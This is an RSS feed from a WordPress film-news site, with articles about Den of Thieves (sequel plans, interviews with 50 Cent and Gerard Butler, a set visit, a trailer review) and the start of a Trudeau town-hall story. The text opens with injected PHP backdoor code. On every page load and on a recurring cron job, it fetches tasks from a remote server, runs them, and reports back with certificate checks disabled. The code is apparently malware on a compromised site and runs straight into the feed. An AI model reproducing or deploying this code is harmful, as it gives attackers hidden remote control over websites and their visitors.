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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); den’ – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 07 Apr 2018 13:31:03 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png den’ – Brief News https://briefnews.eu 32 32 Get Your Red Hot ‘Den of Thieves 2’ Plot Details Right Here! https://briefnews.eu/get-your-red-hot-den-of-thieves-2-plot-details-right-here/ https://briefnews.eu/get-your-red-hot-den-of-thieves-2-plot-details-right-here/#respond Sat, 07 Apr 2018 13:31:03 +0000 http://briefnews.eu/get-your-red-hot-den-of-thieves-2-plot-details-right-here/ Den of Thieves 2 plot details

Den of Thieves 2 is on its way, whether you like it or not. You may as well just accept the fact that audiences demand more of Gerard Butler and his team of angry bros wearing tactical vests and wraparound sunglasses. New Den of Thieves 2 plot details have surfaced, which hint at a trip to Europe. Pack your bags, Gerard Butler!

Den of Thieves was enough of a hit to convince STXFilms to greenlight a sequel, so don’t let anyone ever tell you cinema is dead. The first Den of Thieves was a low-grade Heat knock-off that pitted the Regulators, “an elite unit of the Los Angeles County Sheriff’s Department” against the Outlaws, “a gang of ex-military men who use their expertise and tactical skills to evade the law.” Gerard Butler lead the Regulators as the hard-drinking Nick O’Brien, and Butler’s character will be back for more in Den of Thieves 2.

ScreenRant has some exclusive Den of Thieves 2 plot details to hold you over until Nick O’Brien and the boys return to the screen. The site sat down with Den of Thieves writer-director Christian Gudegast, and Gudegast dished some dirt on the sequel.

Spoilers for Den of Thieves follow. 

Per ScreenRant, Den of Thieves 2 will be inspired by the Antwerp diamond exchange heist of 2003, and will focus on the two main suriving characters from the first film: Donnie (O’Shea Jackson Jr.), who is on the run and being hunted by Nick O’Brien (Butler).

Gudegast reveals that even he himself was surprised when STXFilms wanted a sequel to Den of Thieves. “Every studio wants a little mini franchise if possible,” says the director. “Thankfully, thank god, we’re all very fortunate that it did very well and now we’re going to do a sequel which is great. But that initially the plan. That’s just something that sort of you know as we were making it and we were feeling that the twist was working, and it setting up well for a sequel – if it performed, that we would do one. And it performed so, the sequel will be something that I have researched for years and years. I’m adapting a different story to make it a sequel about the Pink Panther mafia and the diamond thieves from Europe.”

Gudegast added:

“It’s all going to be set in Europe. And it’s going be about Big Nick hunting Donnie, who’s involved in a diamond heist and he’s teamed up with the former Pink Panther mafia, and it’s about Nick hunting him along with… Nick is also going to be hunted by another group, I won’t reveal right now. It’s gonna, there’ll be a few different kinds of twist in this one. It’ll be hopefully very surprising.”

The first Den of Thieves was heavily influenced by Heat, Gudegast says Den of Thieves 2 will draw on other films for inspiration as well. Specifically Gomorrah, a 2008 Italian film about Italy’s modern crime families; Suburra, a 2015 Italian film about gangsters and criminal rivalries; Sexy Beast, Jonathan Glazer’s weird and wonderful 2000 crime drama-comedy about an ex-criminal whose past comes back to haunt him; and Ronin, John Frankenheimer’s 1998 heist thriller starring Robert De Niro. I have to admit, that’s a fascinating line-up of films to be inspired by, so maybe Den of Thieves 2 will turn out to be surprisingly interesting.

There’s no Den of Thieves 2 release date yet, but the first Den of Thieves will hit Blu-ray on April 24, 2018.

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If there’s one interview subject I want to have all the time in the world with, it’s Curtis “50 Cent” Jackson. For starters, the rapper, actor, producer, and entrepreneur has a great story, which we saw told on screen in Get Rich or Die Tryin’. After his debut album of the same name came out, his story only grew richer. He’s had such a full career already and there’s no shortage of things to ask. But when we interviewed Jackson, it was to discuss his new film, Den of Thieves, in which he plays a bank robber.

We didn’t discuss the movie much, though. When we spoke with Jackson on the set of Den of Thieves, he candidly covered a huge array of subjects. When we spoke with him again, he did the same, starting with the book he co-wrote with Robert Greene, The 50th Law. I can’t recommend it enough.

Below, read our 50 Cent interview.

I have to say, I read The 50th Law recently and it’s been on mind quite a bit. It definitely makes you a little more hungry and want to work harder.

You know what? I think a lot of times people be afraid. They create their own fears. It’s maybe a fear of failure. Fear of failure is fear of success. Is being afraid of achieving what you want to achieve, because the small things in there, finding like people, you’ve got to have people that you have to communicate with to get to where you want to go. You can’t be afraid to just tell them what you actually want or what you trying to achieve at that point. A lot of times I’m in circumstances, situations where people may have more information than me about what we’re actually talking about at the moments, so I’m all ears, I’m listening, because their information allows me to use my gut instincts. We’ve got to not be afraid to go the next level. You know what I’m saying? A lot of people are afraid of change, like in a relationship it might not be completely fulfilling for you, but they stay in the relationship because it’s already there.

If it’s not fulfilling for you, then try something else. At least get out of that so something else can come into your life. Fear is an option. Danger is real. You have the option to be afraid or not of what’s there. You know what I mean? No matter what circumstances you put yourself under, that statement is true.

The book dealt so much with navigating the music industry. How does the film industry compare?

The film industry is even older. It’s even more of a cookie cutter mentality to how they actually do things. They’ll look and they’ll say, “We can take the same films and change ethnicity and they’ll do less,” because the machine would say, “This goes to this menu.” Look, Eminem’s 8 Mile, that’s a black story with a white lead, because he grew up in hip-hop culture. He just fell in love with the art form. He’s actually better at it than a lot of African American artists. I don’t care, it is what it is. You know what I’m saying? His track record and material, it speaks for itself. There’s nothing to argue about. That is testament proven.

When you think the performance of the 8 Mile film, I had the same producers, I had the same production team involved with the film, because Get Rich or Die Tryin’ was the largest debuting hip-hop album and wanted to go back and make that as a film. We did it and they gave me $ 36,000,000, Quincy Jones to do the score, Terry Winters to write, Jim Sheridan as a director. I got all of those bells and whistles for that film, really talented group of people involved. When it came time to release it, it went from a 3,200 theater plan, which was how 8 Mile was, to a 1,700 theater plan. It went from premium everywhere to premium urban, because the tones and things that showed up on the film, they considered it like a black gangster film, and it didn’t have the proper marketing label. Later, to give you an example, when you see American Gangster, it’s about Frank Lucas’s life story, but it gives you Russel Crowe. Equally the same size. Then it goes everywhere that it needs to go and it performs there.

Think of hip-hop as an art form. The true consumers of it are people that are so far away from the circumstances that it’s just pure entertainment. They don’t understand what the motivation or where the concept or the writing is coming from because actually a lot of it is coming out of inner cities, the ghetto part, or just inner cities and lifestyles that are distorted lifestyles.

Now they’ll party like a rockstar and they’re taking drugs that don’t have negative auras around it. The crack has a negative aura. You see a crack head, someone that doesn’t look nice, is not functioning. Percocet doesn’t have that field. You see what I’m saying? The Vicodin and whatever else is in the actual medicine cabinet doesn’t have that nasty aura around it, but it’s even more dangerous because they might have a little fruit punch going on. Mixing that shit gets distorted in your system when you take something else. You’ve just got to be cautious of it because that’s the trend, the new thing that’s happening.

I want to get to Den of Thieves, but you mentioned Get Rich or Die Tryin’, and I just watched that the other night. While most biopics are pretty dry and stuffy, I do think that one does have an energy and life to it.

Well, Jim, look at the guys, they made a good movie. A person’s life story, we could do a day. We could squeeze a full day into two hours and at the end of ten minutes, you have extreme events happening in one day. I’ve had some extreme shit happen in my life [Laughs], so it’s really the choice of what portions of it that you turn into film. That’s where it becomes interesting, because I look in pieces out of sequence, and it’s happening at different points, but the film is about 75% or 80% true. That’s why I’m always proud of the film.

As you said, you’ve experienced some extreme shit, and this movie is about some extreme world and extreme characters. When you read the script, did the world or characters feel familiar?

Do you know what’s interesting? I know people who didn’t see their investments, their true investments, so emotionally, they were so invested in their relationships and their personal lives, they were doing something they weren’t supposed to be doing when they didn’t identify with not being able to pay the consequences. You see what I’m saying? I saw a guy who got an altercation and killed the guy, but his girlfriend, he loved the girl that he was actually with at the present moment and only thought of turning himself in because the thought of not being able to see her again fucked with him so extreme. There’s a mentality that goes on, and so you get the same thing for ten you get for two. Why would you turn yourself in? Just keep getting busy. Just keep doing what you’re doing. He couldn’t get with that because of how he felt about the girl.

The Levy character develops his family relationship as if it’s a great cover like he’s invisible. I’m invisible in plain sight. You know what I’m saying? Nah, I was going to do what I do, family and everything else, but hen I do that, I’ll do that. He feels like they’re good enough, disciplined enough to make the jobs happen, and they have. Five or six times they robbed the things. Merriman going to jail, that was on his own merit. You know what I’m saying? He was just doing something he wasn’t supposed to do. When you get to the point when you’re the lead, sometimes you make decisions that are not necessarily the right decisions. A lot of people fall into leadership situations, not because they have leadership skills and abilities, but because they’re not afraid of the altercation.

If you go to war, the guy that everyone says a crazy guy might be the person that you most comfortable following, because he doesn’t care about the actual war, itself. You know what I’m saying? Then it gives you that to be secure going with him because he don’t give a fuck. That under those circumstances, these are the things that we experience and came back into socially couldn’t interact with everybody when we got back from the military because he didn’t care and would do whatever in war. I comfortably followed behind Merriman. We developed this bond and relationship, where I have skill sets that he doesn’t have like I dealt with explosives. I did things that he didn’t know how to do. He’s saying he’s my brother, you know what I mean, because having the bonding experiences, reasons why you can communicate with people that other people can’t have an understanding of, it develops a unique way of you creating special friendships.

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Den of Thieves is now in theaters.

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Gerard Butler is more often than not the biggest guy in the room. Or at least in his movies. Whether he’s going after the justice system, protecting the president, or delivering Shakespeare, he’s going bigger than everyone else…and he’s usually ripped. In Den of Thieves, playing a bull of an LAPD cop, Big Nick, he looks like a mammoth compared to some of those past roles.

The character’s size isn’t the only reason Butler disappears as Big Nick – it’s also his attitude. Christian Gudegat‘s directorial debut has one of Butler’s meatiest roles to date: a deeply flawed, isolated and dedicated cop. We spoke with the actor about how he wanted to play Big Nick, the transformation he made with the role, and some of his favorite actors.

Below, read our Gerard Butler interview.

You did quite a bit of research for this film. From the discussions you had and what you learned about Big Nick’s job, what about that lifestyle did you want to communicate or portray?

For me, I think trying to communicate that modern-day warrior. This guy who’s a silver-backed gorilla. What that means as a policeman, what that means and how he reacts with people. How he chews up every space. How he dominates people. He dominates the mood in a room physically, emotionally. And the impact that can have around him, that can have against his enemies and it can have with his family, both the negative impact, the positive impact. But just what it takes to be a person that lives in that space, that operates to that level of danger and brilliance and professionalism.

Then also examine a side of him being so impulsive. Being damned of consequences and he acts, and to hell with it. I love that because it allowed me to surprise myself and feel completely unpredictable and also know that you’re surprising the hell out of an audience as well. Where am I going to take this? Loving the fact that you don’t know. He thinks outside of the box. Anybody else would play on a chessboard but I’ll take a gun and shoot you in the brain, you take my pawn, I’m going to shoot you in the head. It’s like you never know what he’s going to do, and I just felt like an interesting psychology to climb into.

The character tells his wife it’s all street theater, but it makes you wonder how much of it is street theater and how much of it is really him. He seems at odds with himself.

I think that’s bang on. There comes a time where you can’t really justify the actions he’s taking anymore, and I feel like his journey through this movie is, all right, I’ve gone too far. Because people have put up with it until now, but then you don’t realize until it’s too late, and he’s lost his wife and he’s lost his kids, and he can’t see anymore that it is street theater because there is a certain amount of addiction and enjoyment in the way he lives that life. Yeah, it’s bruised him, it’s beaten him up, but at the same time, he’s also eating up that adrenaline. That’s hard when you leave that to go home, and how do you be the sweet dad who’s in a good mood all the time, and how do you be consistent for your wife? And how do you be a loyal, dear husband? It’s hard. He’s feeling the brunt of that now.

I was surprised by how much the movie takes its time, especially with his loneliness. Even the scene with Big Nick at the beach isn’t quite what you expect.

That’s what I loved about this script, and in fact, that beach thing, we did some additional photography and we shot that then, was to really try and show the moment before the big showdown of the effect that that was having on the character. They had a chance to examine where they’re at, and then appreciation for what is about to go down. That’s always great when you can see a character sit with themselves and go, what have I done? That had to be a big thing with Nick.

It’s one of the things that I found interesting and surprising about this movie is, yeah, it’s action-packed and it’s fun and it’s full of surprises, but it’s also very emotional and it lets you breathe with the characters and take a journey with them, and see the more intimate, subtle challenges that they go through as well, as they go head to head on the battlefield.

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Even though this is Christian Gudegast’s first movie, you said he was one of the most prepared directors you’ve worked with. What created the trust between you two?

Christian has been a very good friend of mine for many years now, and we worked on a few different projects, some that he’d written, some that I’d developed and produced, and actually, I had him write a draft of London Has Fallen. The whole time, we were trying to pull this together, but without a doubt, there’s a risk that you take with a director who’s first-time, no matter how close you are with them because you never know. They can speak a great game but they might not end up doing a great job.

Knowing Christian, and when we would sit and discuss the movie, I’d never worked with any director who had explained so proficiently, so accurately, so beautifully, a character, a world, a story, a moment. There’s a story about me eating raw chicken … I don’t know if you know that story, eating raw chicken at a restaurant, because I would get so wrapped up in his words, and he was actually talking about Big Nick, and I’m sitting at a Korean barbecue, eating what I thought was sushi, and I ate a plate and a half of raw chicken, talking to him, because he’s talking about Big Nick, and that lion inside him. And the thing I’m talking about, consuming … And literally … And you just get lost in that. And then I know enough, in my experience, to go, if we get anything like that in this movie, then we’re going to have a pretty incredible movie. I really abandon myself a lot to trusting this guy, who is like, in a lot of ways, the ultimate man.

You work with a lot of directors who are not particularly masculine, and then you work with the likes of Antoine Fuqua or Zack Snyder or Christian, who really know what it means to be a man and who are tough, and who speak up. They speak big, but they actually are able to back it up. I like to go to bat for my director when I know they’ve lived it, and Christian has really lived it. He’s created this world, and these are his friends, he’s friends with these guys. He’s friends with these cops, these undercover cops, and he’s friends with these UFC fighters and military. So you know he knows what he’s talking about.

‘Cause he was a first-timer, and he trusts me so much, I could help him a lot in his journey, and he really listened to me, so that was a cool thing, too. There’d be times where I’d go, “Christian, we don’t need to do this” or “Let’s not examine this area. We actually it a lot better in the script.” ‘Cause he loves experimenting, which I appreciated, but there were sometimes, you didn’t have time, or I thought we were going in the wrong direction, ad he really listened to me a lot, and that was beautiful. I think that was the start of a long-term collaboration that we’ll have together because it never says … It only brought us closer and closer as we worked together. I always trusted that really, he is Big Nick.

Like the fight with my wife, he knew how to be a father and a man, and how to express extreme anger in the most subtle of ways. A man who doesn’t want his kids to experience any of what’s going on, and that kind of desperation, and there are moments where you go, “Okay, so what’s that, then?” And see how he would express himself. And then, the other moments where I go, “I know who Big Nick is, I can take it there.” But just the moment to trust that incredible power that he has as a man and a father was pretty cool.

Even on set, it was clear you were making a big transformation as Big Nick. When it came to finding the way he moves, talks, and carries himself, where did you start?

I worked with this great coach, Larry Moss, who worked with Hilary Swank and works with Leo, and he really makes you think about those things, like how do I explain every second of my day? How do I drive a car? How do I get out of a car? How do I look? What am I thinking about when I walk into a room? How do you drink out of your class? Actually, it was something I would talk a lot about with Christian as well. In fact, that time when I was eating the raw chicken, he’s like, “Look, see how you’re holding your glass? That’s Big Nick. See the way you’re looking at me right now? That’s Big Nick right there.”

So you spend more and more time examining the physicality. How do you step out, how do you pull your chair back, how do you bring your jacket on, and you start having fun with it. You go, oh that works, that feels good, and that feels like that silverback that I want to get. Or whether it’s a vulnerable moment or the humorous side that he has, he’s able to use that physical weight that he has, sometimes to intimidate, sometimes to be humorous. Sometimes just understand the power that you have. So you start playing with that, and yeah, I really liked how that panned out in the movie.

There was something I didn’t get a chance to ask you on set, but you talked about your love for Gene Hackman, and just how much personality and intensity he could bring to a role. I’m just curious, what other actors do you enjoy watching?

To me, funnily enough, on the way here, on the plane from Miami, I just watched Cool Hand Luke again. You look at somebody like Paul Newman, who could just bring such intelligence and such coolness and such humor to a role. These are maybe the cliches, but him and Steve McQueen, I love to watch. God, who else? I’m trying to think of people more from that age. By the way, when I say that about Gene Hackman … Gene Hackman in every movie, he always brought that huge amount of personality. When I was younger and didn’t understand it, I just used to go, “Why is this guy so watchable? Why are these movies so brilliant?” But now, you get it. Now, as an actor, when you realize that to be like that, a lot of the time, you have to study those moments. I can respect his performances even more as a grown up.

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Den of Thieves is now in theaters.

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Heading into the Den of Thieves set visit, I was mostly thinking about Curtis “50 Cent” Jackson. While leaving the Den of Thieves set visit, I was still mostly thinking about Curtis “50 Cent” Jackson. The artist, entrepreneur, Vitaminwater moneymaker, and actor was a lot more entertaining and honest than (understandably) some actors tend to be speaking with bloggers on sets. Like most of the cast, he was enjoying himself in Atlanta, Georgia, during a day of filming of the upcoming crime thriller, which stars Gerard Butler as a hulking L.A.P.D cop chasing down a crew of robbers.

Jackson plays Levi Enson, one of the criminals planning to rob the Federal Reserve in Downtown Los Angeles, and as his fine associate Merrimen (American God‘s Pablo Schreiber) points out in the trailer, the Federal Reserve Bank contains anywhere between $ 500 to $ 800 billion dollars at a time. One of the many obstacles facing the team, which also includes O’Shea Jackson Jr. (who was fantastic in Ingrid Goes West) and Evan Jones (8 Miles), is Nick “Big Nick” Flanagan (Butler), “a good guy fucked up in a lot of dark ways,” according to Butler, who has a refreshing and extremely rare sense of humor about some of his movies.

The French Connection, Heat, and The Town (a title dropped more than once on the set) are definitely in the sandbox of writer and first-time director Christian Gudegast (London Has Fallen). Gudegest grew up in Los Angeles around cops, Navy Seals, and LAPD officers, but some of his other friends went down a different path. “What’s always interested me with the classic movies with good guys and bad guys, the reality is that’s not what it is,” Gudegast told us. “It’s far more fascinating to me that they’re basically the same kind of dude, and the way life worked for them – maybe one grew up without a dad or got in trouble in High School – they just barely go to the other side. The differences that separate them are virtually nothing.”

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Making the Impossible Kind of Possible

While this is not based on a true story, the filmmaker, who also wrote the ridiculously enjoyable London Has Fallen, did base his story on a real plan that was hatched but never completed. “We had to fill in the blanks,” Gudegast explained. “We worked with people at the Federal Reserve and said, ‘How do you make the impossible kind of possible?’ We made it as real as we possibly could. Could you really do it? Probably not. In the world of movies? Yeah, you can.” To make the heist more plausible on-screen, staying close to the truth and the world being depicted was a driving force on the project. Consultants from the military and the LAPD and the former head of the Hell’s Angels – and an ATF cop who took on the Hell’s Angels – worked on the film to help the director and his stars create a sense of authenticity.

While Gudegast was inspired by To Live and Die in LA, Heat, Jackie Brown, and Un prophète, he was more interested in the reality than how the genre paints it. From the tattoos the cops have to the cars they drive to the clothes and even shoes they wear, he wanted to get everything right. “I love Heat, it’s an incredible film, but the world of Heat doesn’t exist,” he claimed. “It’s very stylized. This is the real world. The Chicano experience was covered with End of Watch, Training Day, and the black experience was covered with Boyz n the Hood, Menace II Society, and Straight Outta Compton. But that part of the world – the mix of everything – has not really been covered accurately. That’s what we’re going to do here.” For Gudegast, the shoot was about “authenticity all day long,” because the “truth is not only stranger than fiction, it’s much more fascinating than fiction.”

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No Glitz and Glamour 

One of the highlights of the visit was speaking with a retired undercover operative, Jay Dobyns, whose crew was an inspiration for Big Nick and his team. “From my experience, the reality of it is not sexy, not glamorous,” he told us. “It’s a nasty, dirty, grimy, bloody, vomit-covered scab of a life. When I went into it, I thought it was Miami Vice, but I realized quickly it was nothing like that.” During his 27 years on the job, he knew “very, very few people who did that job with a Rolex and drove a fancy car,” but knew characters like Big Nick’s crew “on the hustle” and “pushing the limits of everything they do.”

Dobyns helped run the show for two separate boot camps, one for the criminals and one for the cops. As Gudegast said, sometimes the two opposite sides of the law share something in common, but according to the consultant, that’s a part of what makes some cops stay ahead. “I think the best plainclothes cops and undercover cops were walking a fence at one point in their lives and could’ve fallen on the bad guy side of the fence but fell on the good guy side of the fence,” he said. “Those guys are so good, because they understand the mentality of the adversary, think like bad guys, and anticipate like bad guys. You see that with these guys, with our characters.” With these characters, he wants them to be instantly recognizable to those who’ve lived this life, so they can see the movie and go, “‘That’s how we look, that’s how we talked, that’s how we acted.’” If that’s how members of law enforcement respond to the movie, then Dobyns will know he did his job.

The consultant – who’s worked everything from hand-to-hand street narcotic transactions to infiltrating crime syndicates and more – knows the frustration of watching phony depictions of the force. “We look at films and go, ‘They didn’t get that right,’” he said. “We’re trying to eliminate that as much as possible. It’s still a movie, and we still need to make it entertaining….I told these actors, ‘You guys make more money working on a film in two months than I make in 20 years, doing the job for real. Here’s the difference: I don’t get to repeat a line. When I’m working undercover, I have to get it right the first time. I don’t get a second take. If I fuck up my line, I’m going to get a baseball bat on the back of my head. And the people I’m dealing with, they’re holding real guns with real bullets…You don’t get to get shot 20 times. I’ve been shot on the job. You get shot one time, that’s all you need to know, that’s all you need to go through to realize this sucks, this is bullshit, and I don’t like this.” As for the other side of the law, he also wanted the same level of accuracy with characters who have their “PhDs in violence, intimidation, and crime.”

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Bank heist movies are a dime a dozen in Hollywood. Every year there’s a few new action thrillers built around that subject, and the first one out of the gate in 2018 is arriving pretty early.

Den of Thieves sees Gerard Butler as the leader of an elite unit of cops from the Los Angeles County Sheriff’s Department who are desperate to stop a group of bank robbers who have left them out in the wind. With the crew planning to rob the Federal Reserve Bank in downtown LA, apparently the one bank than has never been robbed, this is the one opportunity they have to bust the crew for this job and all the others.

Den of Thieves Trailer

 

While this is undoubtedly the best trailer we’ve seen for this movie yet, it still doesn’t appear to offer anything we haven’t seen before in many movies that have preceded it. Yes, these cops are operating with a little less restraint than other units (for some reason that’s not made clear in the trailer), and yes, this crew appears to be one of the best gang of robbers Los Angeles has ever seen. But beyond that, it’s just planning the robbery, some taunting back and forth between the thieves and the cops, and the inevitable face-off with a cavalcade of gunfire.

Normally, it’s the cast that makes a movie like this more interesting than it has any right to be. But in this case, they’re not helping all that much. Gerard Butler has made some pretty awful movies in recent years and Curtis “50 Cent” Jackson hasn’t exactly been seen in any acclaimed action thrillers. The presence of O’Shea Jackson Jr. is an interesting one, but it doesn’t do much to make up for lack of instantly exciting actors around him. Maybe there’s something here that we can only get by seeing the full movie. We’ll find out next month.

Den of Thieves is a gritty Los Angeles crime saga which follows the intersecting and often personally connected lives of an elite unit of the LA County Sheriff’s Dept. and the state’s most successful bank robbery crew as the outlaws plan a seemingly impossible heist on the Federal Reserve Bank of downtown Los Angeles.

Den of Thieves hits theaters early next year on January 19, 2018.

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]]> https://briefnews.eu/final-den-of-thieves-trailer-tries-to-rob-the-only-bank-thats-never-been-robbed/feed/ 0 ‘In the lion’s den’: Trudeau defends oilsands statements at Calgary town hall https://briefnews.eu/in-the-lions-den-trudeau-defends-oilsands-statements-at-calgary-town-hall/ https://briefnews.eu/in-the-lions-den-trudeau-defends-oilsands-statements-at-calgary-town-hall/#respond Wed, 25 Jan 2017 05:36:41 +0000 http://briefnews.eu/in-the-lions-den-trudeau-defends-oilsands-statements-at-calgary-town-hall/ Trudeau Town Hall 20170124

After a three-day cabinet retreat, dominated by talk of U.S. President Donald Trump’s inauguration, the impact of his protectionist rhetoric on NAFTA, and his memorandum on TransCanada’s Keystone XL pipeline, Trudeau faced questions from a crowd billed by the prime minister’s office as “ordinary Canadians.”

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